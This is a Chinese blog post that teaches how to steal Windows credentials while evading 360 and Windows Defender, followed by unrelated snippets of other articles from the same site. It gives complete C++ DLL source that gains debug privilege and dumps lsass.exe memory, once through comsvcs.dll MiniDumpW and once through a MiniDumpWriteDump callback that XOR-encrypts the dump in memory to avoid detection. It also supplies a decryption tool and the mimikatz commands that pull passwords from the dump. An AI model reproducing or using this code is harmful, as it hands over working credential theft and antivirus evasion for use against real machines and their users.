Mimikatz免杀实战:绕过360核晶和defender

文章目录

  • 前言
  • 绕过360核晶
    • 实现思路
    • 完整代码
    • 运行测试
  • 绕过WD
    • 实现思路
      • MiniDumpWriteDump
      • 回调函数加密dump文件
    • 完整代码
    • 运行测试
  • 参考文章

前言

通常来说,即使我们成功实现了mimikatz的静态免杀,其抓取hash的行为仍可能会被防病毒软件检测到虽然你可以通过修改mimikatz的源码来实现行为上的免杀,但这需要花费大量的时间。我建议针对具体功能的代码来实现免杀,例如,mimikatz的dump hash功能主要依赖于Windows API的Minidump函数。

绕过360核晶

实现思路

1.设置权限

为了能够访问 lsass.exe 进程的内存,代码首先检查并提升程序的权限。这是通过 CheckPrivilege()EnableDebugPrivilege() 函数完成的

2.获取lsass进程的pid

代码使用 GetLsassPID() 函数获取 lsass.exe 进程的进程ID (PID)

3.创建内存转储文件

代码最主要的部分是 Dump() 函数,这个函数使用了 MiniDumpW 函数来创建 lsass.exe 进程的内存转储文件。

MiniDump函数是comsvcs.dll库中的一个函数,通常被用于生成进程的堆栈跟踪信息,在Windows中,MiniDump可以生成一个包含线程和句柄信息以及可选内存信息的dump文件,函数的使用需传入一个包含进程ID和转储文件路径的字符串参数

完整代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#define _CRT_SECURE_NO_WARNINGS// comsvcs.dll 中 MiniDumpW 函数的类型定义
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD , DWORD , PWCHAR );// 检查是否具有管理员权限
BOOL CheckPrivilege() 
{BOOL state;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;PSID AdministratorsGroup;state = AllocateAndInitializeSid(&NtAuthority,2,SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS, 0, 0, 0, 0,&AdministratorsGroup);if (state){if (!CheckTokenMembership(NULL, AdministratorsGroup, &state)){state = FALSE;}FreeSid(AdministratorsGroup);}return state;
}// 启用调试权限
BOOL EnableDebugPrivilege()
{HANDLE hThis = GetCurrentProcess();HANDLE hToken;OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);LUID luid;LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);TOKEN_PRIVILEGES priv;priv.PrivilegeCount = 1;priv.Privileges[0].Luid = luid;priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);if (isEnabiled) {CloseHandle(hToken);CloseHandle(hThis);return TRUE;}return FALSE;
}// 获取 lsass 进程的 PID
DWORD GetLsassPID() 
{DWORD lsassPID = 0;HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);PROCESSENTRY32 processEntry = {};processEntry.dwSize = sizeof(PROCESSENTRY32);LPCWSTR processName = L"";if (Process32First(snapshot, &processEntry)) {while (_wcsicmp(processName, L"lsass.exe") != 0) {Process32Next(snapshot, &processEntry);processName = processEntry.szExeFile;lsassPID = processEntry.th32ProcessID;}}return lsassPID;
}// 检查指定文件是否存在
BOOL CheckFileExists(PWCHAR file) 
{WIN32_FIND_DATA FindFileData;HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData, FindExSearchNameMatch, NULL, 0);if (hFind == INVALID_HANDLE_VALUE){return FALSE;}return TRUE;
}int Dump() 
{WCHAR commandLine[MAX_PATH]; //命令行参数WCHAR DumpFile[] = L"C:\\Windows\\Temp\\test.log"; //转储文件的路径_MiniDumpW MiniDumpW; //MiniDumpW 函数的指针DWORD lsassPID = 0;  //存放lsass进程的PID// 检查是否具有管理员权限if (!CheckPrivilege()) {return -1;}// 启用调试权限if (!EnableDebugPrivilege()) {return -1;}// 获取lsass进程的PIDlsassPID = GetLsassPID();// 获取 MiniDumpW 函数的地址MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");// 准备MiniDumpWh函数的参数,full是传递给MiniDumpW函数的参数之一,表示创建一个完整的内存转储swprintf(commandLine, 512, L"%d %s full", lsassPID, DumpFile);// 调用 MiniDumpW 函数创建内存转储文件MiniDumpW(0, 0, commandLine);return 0;
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:Dump();case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

运行测试

将生成的dll文件配合rundll.exe执行:rundll32 DumpHash.dll dllmain(其实我更偏向使用白+黑来执行dll文件)

在此过程中360核晶并没有拦截,执行完毕后会在Windows/temp目录生成test.log(此文件就是lsass进程的dump文件)

在Windows系统中,rundll32.exe是一个重要的系统工具,用于加载和执行动态链接库(DLL)中的函数

image-20230716203413832

将test.log拖到本机使用mimikatz执行如下命令导出目标主机的密码:

  • sekurlsa::minidump test.log:mimikatz将只从指定的内存转储文件test.log中读取数据,而不再直接从LSASS进程中读取数据
  • sekurlsa::logonpasswords full:从LSASS进程中提取登录密码的,full参数表示将尽可能多地显示关于登录会话和密码的信息
image-20230716195338534

绕过WD

实现思路

上述这种方法无法绕过WindowsDefender,因为defender对生成的dump文件检验比较严格,只要发现你这个dump文件是lsass进程的,立马就会查杀,当然也有方法去绕过,只需对dump的文件进行加密。

当然对dump文件加密也是有前提的,需要在dump文件没有写入磁盘前对其里面的数据加密,这样才能绕过Defender,代码的实现重点关注两个函数,分别是MiniDumpWriteDump和它的回调函数

image-20230716205829732

MiniDumpWriteDump

MiniDumpWriteDump 是一个 Windows API 函数,此函数在Dbghelp.dll 库中定义,可以创建一个指定进程的内存转储文件(通常称为 “minidump” 文件)

以下是 MiniDumpWriteDump 函数的原型:

cppCopy codeBOOL MiniDumpWriteDump(HANDLE hProcess, //一个打开的句柄,指向需要创建内存转储文件的进程DWORD ProcessId, //需要创建内存转储文件的进程的进程IDHANDLE hFile, //一个打开的句柄,指向用于写入内存转储文件的文件,可置NULLMINIDUMP_TYPE DumpType, //一个 MINIDUMP_TYPE 枚举值,指定内存转储文件的类型PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,  //置NULLPMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, //置NULLPMINIDUMP_CALLBACK_INFORMATION CallbackParam  //一个指向 MINIDUMP_CALLBACK_INFORMATION 结构的指针,这个结构包含了一个回调函数和一个用户定义的参数。在内存转储过程中,这个回调函数会被多次调用,可以用于控制转储的过程或修改转储的内容。如果不需要使用回调函数,这个参数可以为 NULL
);

回调函数加密dump文件

MiniDumpWriteDump函数有一个回调函数, 可以通过callbackInput->CallbackType来判断何时回调执行我们自定义的代码段

首先在loStartCallback中将status成员设置为S_FALSE, 其目的是在开始写入数据时,不会将数据写入磁盘;然后在IoWriteAllCallback中将status成员设置为S_OK, 其目的是在每次写入数据时,将其写入到申请的堆内存中, 这样方便后续的xor加密操作

这种数据的加密是在内存中执行的,而不是在文件中执行,因此能够绕过Defender的检测

BOOL CALLBACK minidumpCallback(__in     PVOID callbackParam,__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{LPVOID destination = 0, source = 0;DWORD bufferSize = 0;switch (callbackInput->CallbackType){case IoStartCallback:// 在开始写入数据时,设置 Status 为 S_FALSE,这可能会取消默认的写入操作callbackOutput->Status = S_FALSE;break;case IoWriteAllCallback:// 在每次写入数据时,将数据保存到预先分配的内存区域// 设置 Status 为 S_OK,这可能会取消默认的写入操作callbackOutput->Status = S_OK;// source 指向一块刚刚从 lsass 进程读取的内存数据,这块数据将会被写入到内存转储文件中source = callbackInput->Io.Buffer;// destination 是我们想要保存这部分数据的位置,计算方法是 dumpBuffer 的开始地址加上这块数据在内存转储文件中的偏移量destination = (LPVOID)((DWORD_PTR)buffer + (DWORD_PTR)callbackInput->Io.Offset);// bufferSize 是刚刚读取的内存数据的大小bufferSize = callbackInput->Io.BufferBytes;// 将内存数据从 source 复制到 destinationRtlCopyMemory(destination, source, bufferSize);break;case IoFinishCallback:// 在完成写入数据时,设置 Status 为 S_OKcallbackOutput->Status = S_OK;break;default:return true;}return TRUE;
}

完整代码

以下是绕过WD的dumphash代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#include <fstream>
#define _CRT_SECURE_NO_WARNINGS// MiniDumpWriteDump 函数的类型定义
typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId,HANDLE hFile, MINIDUMP_TYPE DumpType,PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
_MiniDumpWriteDump MMiniDumpWriteDump = (_MiniDumpWriteDump)GetProcAddress(
// 加载 Dbghelp.dll 并获取 MiniDumpWriteDump 函数的地址    
LoadLibraryA("Dbghelp.dll"), "MiniDumpWriteDump");// 为内存转储分配一个 75MB 的内存区域
LPVOID buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
DWORD bytesRead = 0;
DWORD bytesWritten = 0;// 检查是否具有管理员权限
BOOL CheckPrivilege() 
{BOOL state;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;PSID AdministratorsGroup;state = AllocateAndInitializeSid(&NtAuthority,2,SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS, 0, 0, 0, 0,&AdministratorsGroup);if (state){if (!CheckTokenMembership(NULL, AdministratorsGroup, &state)){state = FALSE;}FreeSid(AdministratorsGroup);}return state;
}// 启用调试权限
BOOL EnableDebugPrivilege()
{HANDLE hThis = GetCurrentProcess();HANDLE hToken;OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);LUID luid;LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);TOKEN_PRIVILEGES priv;priv.PrivilegeCount = 1;priv.Privileges[0].Luid = luid;priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);if (isEnabiled) {CloseHandle(hToken);CloseHandle(hThis);return TRUE;}return FALSE;
}// 获取 lsass 进程的 PID
DWORD GetLsassPID() 
{DWORD lsassPID = 0;HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);PROCESSENTRY32 processEntry = {};processEntry.dwSize = sizeof(PROCESSENTRY32);LPCWSTR processName = L"";if (Process32First(snapshot, &processEntry)) {while (_wcsicmp(processName, L"lsass.exe") != 0) {Process32Next(snapshot, &processEntry);processName = processEntry.szExeFile;lsassPID = processEntry.th32ProcessID;}}return lsassPID;
}BOOL CALLBACK minidumpCallback(__in     PVOID callbackParam,__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{   // 定义目标和源的内存地址以及缓冲区大小LPVOID destination = 0, source = 0;DWORD bufferSize = 0;// 根据回调类型进行不同的处理switch (callbackInput->CallbackType){case IoStartCallback:// 在内存转储开始时,将状态设置为 S_FALSE// 即取消默认的写入操作,数据将不会写入文件中callbackOutput->Status = S_FALSE;break;case IoWriteAllCallback:// 在每次写入数据时,将状态设置为S_OK// 即通过自定义的方式来处理数据callbackOutput->Status = S_OK;// 保存刚刚从 lsass 进程读取的内存数据的地址source = callbackInput->Io.Buffer;// 计算数据应存储的位置,该位置是预先分配的缓冲区的开始地址加上该数据在内存转储文件中的偏移量destination = (LPVOID)((DWORD_PTR)buffer + (DWORD_PTR)callbackInput->Io.Offset);// 保存刚刚读取的内存数据的大小bufferSize = callbackInput->Io.BufferBytes;bytesRead += bufferSize;// 将数据从源地址复制到目标地址RtlCopyMemory(destination, source, bufferSize);break;case IoFinishCallback:// 当内存转储完成时,将状态设置为 S_OKcallbackOutput->Status = S_OK;break;default:return true;}return TRUE;
}// Xor加密函数
char* Xorcrypt(char* content, DWORD length, char* secretKey)
{for (UINT i = 0; i < length; i++){content[i] ^= secretKey[i % sizeof(secretKey)];}return content;
}int Dump() 
{   DWORD lsassPID = 0;  //存放lsass进程的PIDHANDLE lHandle = NULL;// 检查是否具有管理员权限if (!CheckPrivilege()) {return -1;}// 启用调试权限if (!EnableDebugPrivilege()) {return -1;}// 获取lsass进程的PIDlsassPID = GetLsassPID();// 打开 lsass.exe 进程,并获取进程句柄lHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);//设置回调函数的参数,这里的回调函数是minidumpCallbackMINIDUMP_CALLBACK_INFORMATION callbackInfo;ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));callbackInfo.CallbackRoutine = &minidumpCallback;callbackInfo.CallbackParam = NULL;//调用MiniDumpWriteDump函数获取内存转储BOOL isD = MMiniDumpWriteDump(lHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);if (isD){   // 对存放在堆内存中的数据进行xor加密long int size = bytesRead;char* securitySth = new char[size];char* key = (char*)"thisisgood";memcpy(securitySth, buffer, bytesRead);securitySth = Xorcrypt(securitySth, bytesRead, key);// 创建内存存储文件HANDLE outFile = CreateFile(L"C:\\Windows\\Temp\\test.log", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);// 将xor加密后的数据写入存储文件中if (WriteFile(outFile, securitySth, bytesRead, &bytesWritten, NULL)){   //printf("\n[+] to C:\\Windows\\Temp\\test.log\n");}CloseHandle(outFile);}return 0;
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:Dump();case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

以下是使用xor解密dump文件的代码:

#include <stdio.h>
#include <string.h>int main(int argc, char* argv[]) {char fBuffer[1];  // 文件缓冲区int index = 0;  // 索引,用于按循环方式获取密钥char* key = (char*)"thisisgood";  // 密钥int keylen = sizeof(key);  // 获取密钥长度// 检查参数数量是否正确if (argc != 3) {printf("Usage: %s <source> <destination>\n", argv[0]);return 1;}// 以二进制读取模式打开源文件FILE* fSource = fopen(argv[1], "rb");if (fSource == NULL) {perror("Error opening source file");return 1;}// 以二进制写入模式打开目标文件FILE* fDest = fopen(argv[2], "wb");if (fDest == NULL) {perror("Error opening destination file");return 1;}// 循环读取源文件的每个字节,执行XOR操作并写入目标文件while (fread(fBuffer, 1, 1, fSource) == 1) {fBuffer[0] ^= key[index % keylen];  // 对读取的字节执行XOR操作fwrite(fBuffer, 1, 1, fDest);  // 将结果写入目标文件index++;  // 更新索引}// 关闭文件fclose(fSource);fclose(fDest);return 0;  // 
}

运行测试

运行方法和之前的差不多,只是多了个解密的步骤,需将dump后的文件进行xor解密后,然后再放到mimikatz读取密码

.\Xor解密文件.exe .\test.log 1.bin
image-20230717173133038

参考文章

  • https://tttang.com/archive/1810/#toc_silentprocessexitdump

  • https://xz.aliyun.com/t/11199#toc-5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/101430.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法通关村第九关——透彻理解二分查找

1.前言 常见的查找算法有顺序查找、二分查找、插值查找、斐波那契查找、树表查找、分块查找、哈希查找等。如果进行归类&#xff0c;那么二分查找、插值查找&#xff08;一种查找算法&#xff09;以及斐波那契查找都可以归为插值查找&#xff08;大类&#xff09;。而插值查找…

ES搭建集群

一、创建 elasticsearch-cluster 文件夹 创建 elasticsearch-7.8.0-cluster 文件夹&#xff0c;在内部复制三个 elasticsearch 服务。 然后每个文件目录中每个节点的 config/elasticsearch.yml 配置文件 node-1001 节点 #节点 1 的配置信息&#xff1a; #集群名称&#xff0…

Android相机-架构

引言&#xff1a; 主要是针对CameraAPI v2 HAL3的架构对Android相机系统进行梳理。 相机架构 App和FrameWork packages/apps/Camer2 frameworks/ex/camera2 Camera API v2&#xff1b;Camera2 CameraDevice&#xff1a; CameraCaptureSession&#xff1a; CameraService AIDL…

设计模式(8)外观模式

一、 1、使用背景&#xff1a;降低访问复杂系统的内部子系统时的复杂度&#xff0c;简化客户端之间的接口。 2、定义&#xff1a; 为子系统中的一组接口定义一个一致的界面&#xff0c;此模式定义了一个高层接口&#xff0c;这个接口使得这一子系统更加容易使用。完美地体现…

什么是安全测试报告,怎么获得软件安全检测报告?

安全测试报告 软件安全测试报告&#xff1a;是指测试人员对软件产品的安全缺陷和非法入侵防范能力进行检查和验证的过程&#xff0c;并对软件安全质量进行整体评估&#xff0c;发现软件的缺陷与 bug&#xff0c;为开发人员修复漏洞、提高软件质量奠定坚实的基础。 怎么获得靠谱…

NLP预训练模型超大规模探索

总共从四方面来进行比较。 第一个方面&#xff0c;高层次方法&#xff08;自监督的预训练方法&#xff09;对比&#xff0c;总共三种方式。 语言模型式&#xff0c;就是 GPT-2 那种方式&#xff0c;从左到右预测&#xff1b;BERT-style 式&#xff0c;就是像 BERT 一样将一部…

多传感器分布式融合算法——加权最小二乘WLS融合/简单凸组合SCC融合

加权最小二乘WLS融合/简单凸组合SCC融合——多传感器分布式融合算法 原创不易&#xff0c;路过的各位大佬请点个赞 主要讲解算法&#xff1a; 加权最小二乘融合WLS 简单凸组合融合SCC 应用于: 多传感器网络协同目标跟踪/定位/导航 联系WX: ZB823618313 目…

框架分析(2)-React

框架分析&#xff08;2&#xff09;-React 专栏介绍React核心思想关键特性和功能组件化开发单向数据流JSX语法强大的生态系统 优缺点分析优点缺点 专栏介绍 link 主要对目前市面上常见的框架进行分析和总结&#xff0c;希望有兴趣的小伙伴们可以看一下&#xff0c;会持续更新的…

【数据结构入门指南】二叉树

【数据结构入门指南】二叉树 一、二叉树的概念二、现实中的二叉树三、特殊的二叉树四、二叉树的性质五、二叉树的存储结构5.1 顺序结构5.2 链式结构 一、二叉树的概念 二叉树是一棵特殊的树。一棵二叉树是结点的一个有限集合&#xff0c;该节点&#xff1a; ①&#xff1a;或者…

【Java转Go】快速上手学习笔记(四)之基础篇三

目录 泛型内置泛型的使用切片泛型和泛型函数map泛型泛型约束泛型完整代码 接口反射协程特点WaitGroupgoroutine的调度模型&#xff1a;MPG模型 channel介绍语法&#xff1a;举例&#xff1a;channel遍历基本使用和协程一起使用案例一案例二 select...casemain.go 完整代码 文件…

chapter 3 Free electrons in solid - 3.2 量子自由电子理论对一些现象的解释

3.2 自由电子气的热容 Heat capacity of free electron gas 3.2.1 计算自由电子的热容 Calculation of Heat Capacity of free Electrons T>0K, total energy of free electrons: E ∫ E d N 3 5 N e E F 0 [ 1 5 12 π 2 ( k B T E F 0 ) 2 ] E \int EdN \frac{3}{5}…

econml介绍

EconML简介 EconML: A Python Package for ML-Based Heterogeneous Treatment Effects Estimation EconML是一个通过机器学习方法从观察数据中估计heterogeneous treatment effects的Python包。该软件包是微软研究院ALICE项目的一部分&#xff0c;目的是将最新的机器学习方法…

CAM实现的流程--基于Pytorch实现

CAM实现的流程 CAM类激活映射CAM是什么CAM与CNN CAM类激活映射 CAM是什么 可视化CNN的工具&#xff0c; CAM解释网络特征变化&#xff0c;CAM使得弱监督学习发展成为可能&#xff0c;可以慢慢减少对人工标注的依赖&#xff0c;能降低网络训练的成本。通过可视化&#xff0c;就…

【Axure高保真原型】通过输入框动态控制折线图

今天和大家分享通过输入框动态控制折线图的原型模板&#xff0c;在输入框里维护项目数据&#xff0c;可以自动生成对应的折线图&#xff0c;鼠标移入对应折点&#xff0c;可以查看对应数据。使用也非常方便&#xff0c;只需要修改输入框里的数据&#xff0c;或者复制粘贴文本&a…

泰克MDO3054示波器

MDO3054 泰克MDO3054混合域示波器 优秀的六合一综合示波器&#xff0c;可以全面量身定制&#xff0c;可以全面升级 当今集成设计需要集成度与之相当的示波器&#xff0c;如 MDO3000 混合域示波器 (MDO) 系列。这是一种 6 合 1 示波器之集大成者&#xff0c;集成了一台频谱分…

CentOS Stream 9中安装MySQL的详细步骤

文章目录 卸载MySQL在线安装离线安装忘记密码 卸载MySQL 安装前先卸载系统上旧版本的 MySQL&#xff08;没有则跳过此步骤&#xff09; 查看已安装的MySQLrpm -qa | grep mysql卸载查询到的所有安装包rpm -e PackageName # 可批量删除删除my.cnf 查看/etc/my.cnf文件是否还存…

SQL 语句继续学习之记录二

三&#xff0c; 聚合与排序 对表进行聚合查询&#xff0c;即使用聚合函数对表中的列进行合计值或者平均值等合计操作。 通常&#xff0c;聚合函数会对null以外的对象进行合计。但是只有count 函数例外&#xff0c;使用count(*) 可以查出包含null在内的全部数据行数。 使用dis…

网络安全在医疗行业中的重要性

不可否认&#xff0c;现代世界见证了技术和医疗行业的交织&#xff0c;塑造了我们诊断、治疗和管理健康状况的新方式。随着电子健康记录取代纸质文件&#xff0c;远程医疗缩短了患者和医疗服务提供者之间的距离&#xff0c;数字化转型既是福音&#xff0c;也是挑战。最近的全球…

7.elasticsearch同步工具-logstah

1.logstah Logstash 是一个用于数据处理和转换的开源工具&#xff0c;它可以将来自不同源头的数据收集、转换、过滤&#xff0c;并将其发送到不同的目标。Logstash 是 ELK&#xff08;Elasticsearch、Logstash 和 Kibana&#xff09;技术栈的一部分&#xff0c;通常与 Elastics…

java版本spring cloud 企业工程系统管理 工程项目管理系统源码em

工程项目管理软件&#xff08;工程项目管理系统&#xff09;对建设工程项目管理组织建设、项目策划决策、规划设计、施工建设到竣工交付、总结评估、运维运营&#xff0c;全过程、全方位的对项目进行综合管理 工程项目各模块及其功能点清单 一、系统管理 1、数据字典&#xff…